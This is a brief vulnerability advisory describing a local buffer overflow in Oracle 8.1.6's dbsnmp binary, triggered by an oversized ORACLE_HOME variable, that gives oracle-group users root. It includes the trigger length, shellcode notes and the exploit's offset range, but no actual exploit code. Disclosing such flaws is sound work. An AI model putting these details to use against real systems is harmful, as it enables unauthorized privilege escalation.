PROBLEM

    Juan  Manuel  Pascual  Escriba  found  following.  Buffer overflow
    exists if  ORACLE_HOME enviroment  variable if  is defined  with a
    size greater than 749 bytes

        [oracle@proves1 iAS]$ ls -alc
        /usr/local/oracle/app/oracle/product/8.1.6/bin/dbsnmp

    This overflow exists  in newer products  like Oracle 9i  and maybe
    in older too.

    Any user belonging to oracle group can obtain euid=0.

    /* Exploit code for dbsnmp binary in Oracle 8.1.6.0.0 Linux Platform. I tested it in RH 6.2.
    
    dbsnmp makes setresuid(,getuid(),) before reading ORACLE_HOME environment variable. Its necessary to call setuid(0) before normal shellcode.
    
    In My tests Offset may vary from 7846 to 7896. Its posible to obtain a normal (uid=oracle) shell for low offsets (incomplete setuid(0) jumps).

    Wait for a patch.(??)
